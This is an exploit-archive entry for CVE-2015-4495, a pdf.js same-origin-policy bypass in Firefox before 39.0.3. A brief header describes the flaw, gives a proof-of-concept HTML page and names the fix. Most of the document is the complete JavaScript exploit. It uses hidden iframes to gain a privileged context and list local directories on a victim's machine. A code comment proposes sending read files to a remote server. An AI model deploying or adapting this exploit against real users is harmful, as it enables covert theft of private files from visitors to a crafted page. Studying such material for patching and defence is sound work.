Mozilla Firefox < 39.03 - 'pdf.js' Same Origin Policy
/* # Exploit Title: Firefox < 39.03 pdf.js same origin policy exploit # Date: 13-08-2014 # Vendor Homepage: https://www.mozilla.org/en-US/firefox/new/ # Software Link: http://ftp.mozilla.org/pub/firefox/releases/39.0/linux-x86_64/en-US/firefox-39.0.tar.bz2 # Version: 39.0 [Should work version before 39.0.3] # Tested on: Linux (Ubuntu 14.04.3 LTS) [Should probably work in OSX] # CVE : 2015-4495 # POC code taken from https://github.com/vincd/CVE-2015-4495 1. Description This exploit allow attacker to read and copy information on victim's computer, once they view the web site crafted with this exploit. 2. Proof of Concept Create a index.html and copy and paste the following html into it: <!DOCTYPE html> <html> <head> <title>CVE-2015-4495</title> </head> <body> <h1>Test</h1> <script type="text/javascript" src="https://www.exploit-db.com/exploits/37772/exploit.js" charset="utf-8"></script> </body> </html> Run the index.html (Make sure the main.js is in the same directory) and we should be able to see the directory listing. 3. Solution Upgrade to the latest firefox ( > 39.0.3) */ var start_timeout=2000; var sandbox_context_i=null; var DIR_CACHE={}; var FILE_CACHE={}; var hidden=true; var my_win_id=null; function start() { i=document.getElementById("i"); i2=document.getElementById("i2"); if(typeof sandboxContext!=='undefined') { clearInterval(intVal); var os = navigator.platform; if (os.search("Mac") > -1 || os.search("Linux") > -1) { // NOTE: Replace the following root directory into any directory of your // choice. Can make it an array and loop through it. get_dir("/", function(data) { // nothing to do here... }); } } } function parse_directory_listing(dir, data) { var pattern = '<tbody><tr><td><a class='; var start = 0; var listing = 'Listing:\n'; while ((start = data.search(pattern)) >= 0) { var d = data.substring(start + pattern.length + 1), end = d.search('>'), f = d.substring(0, end); f = f.split(' '); var t = f[0].substring(0, f[0].length-1); var n = f[1].substring(6, f[1].length-1); listing += ' [' + t + '] ' + dir + '/' + n + '\n'; data = d.substring(end); } // NOTE: Replace with some other useful stuff. Eg: Read the file and do a post // request to send all the content to a remote server. alert(listing); } function get_dir(dir,callback,internal) { get(dir,function() { data=get_data(this); var dir=location.href.toString(); dir=dir.replace(/^file\:\/\//i,''); dir=decodeURIComponent(dir); parse_directory_listing(dir, data); }, 500, "%target_dir%", dir); } function xml2string(obj) { return new XMLSerializer().serializeToString(obj); } function _(s,template,value) { s=s.toString().split(/^\s*function\s+\(\s*\)\s*\{/)[1]; s=s.substring(0,s.length-1); if(template&&value) s=s.replace(template,value); s+=parse_directory_listing; s+=__proto; s+=xml2string; s+=get_data; s=s.replace(/\s\/\/.*\n/g,""); s=s+";undefined"; return s; } function __proto(obj) { return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; } function get_data(obj) { data=null; try { data=obj.document.documentElement.innerHTML; if (data.indexOf('dirListing') < 0) { throw new Error(); } } catch(e) { if (this.document instanceof XMLDocument) { data=xml2string(this.document); } else { try { if (this.document.body.firstChild.nodeName.toUpperCase()=='PRE') { data=this.document.body.firstChild.textContent; } else { throw new Error(); } } catch(e) { try { if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') >- 1 ) { return null; } else { throw new Error(); } } catch(e) { ; } } } } return data; } function get(path,callback,timeout,template,value){ callback = _(callback); if(template && value) callback = callback.replace(template,value); proto_prefix="file://"; var invisible_code=""; js_call1='javascript:'+invisible_code+_(function(){ try { open("%url%","_self"); } catch(e) { history.back(); } undefined; }, "%url%", proto_prefix+path); js_call2='javascript:' + invisible_code + ';try{updateHidden();}catch(e){};' + callback + ';undefined'; sandboxContext(_(function() { p = __proto(i.contentDocument.styleSheets[0].ownerNode); l = p.__lookupSetter__.call(i2.contentWindow,'location'); l.call(i2.contentWindow, window.wrappedJSObject.js_call1); })); setTimeout((function() { sandboxContext(_(function() { p = __proto(i.contentDocument.styleSheets[0].ownerNode); l = p.__lookupSetter__.call(i2.contentWindow,'location'); l.call(i2.contentWindow,window.wrappedJSObject.js_call2); })); }), timeout); } function get_sandbox_context() { if(my_win_id==null) { for(var i=0;i<20;i++) { try { if(window[i].location.toString().indexOf("view-source:")!=-1) { my_win_id=i;;break; } } catch(e) {} } }; if(my_win_id==null) return; clearInterval(sandbox_context_i); object.data='view-source:' + blobURL; window[my_win_id].location='data:application/x-moz-playpreview-pdfjs;,'; object.data='data:text/html,<html/>'; window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe onload="' + _(function() { window.wrappedJSObject.sandboxContext = (function(cmd) { with(importFunction.constructor('return this')()) { return eval(cmd); } }); }) + '"/>'); } function setup_plugin() { var i = document.createElement("iframe"); i.id = "i"; i.width = 1; i.height = 1; i.src = "data:application/xml,<" + "?xml version=\"1.0\"?><e><e1></e1></e>"; i.frameBorder = 0; document.documentElement.appendChild(i); i.onload=function() { if(this.contentDocument.styleSheets.length>0) { var i2 = document.createElement("iframe"); i2.id="i2"; i2.src="data:application/pdf,"; i2.frameBorder=0; if(!hidden) { i2.width="100%"; i2.height="700px"; } else { i2.width=1; i2.height=1; } document.documentElement.appendChild(i2); pdfBlob=new Blob([''], { type:'application/pdf' }); blobURL = URL.createObjectURL(pdfBlob); object = document.createElement('object'); object.data='data:application/pdf,'; if(hidden) { object.style.display='none'; object.width=1; object.height=1; } object.onload = (function() { sandbox_context_i = setInterval(get_sandbox_context,200); object.onload=null; object.data='view-source:' + location.href;return; }); document.documentElement.appendChild(object); } else { this.contentWindow.location.reload(); } } } setTimeout(function() { setup_plugin(); intVal = setInterval(start, 150); }, start_timeout); |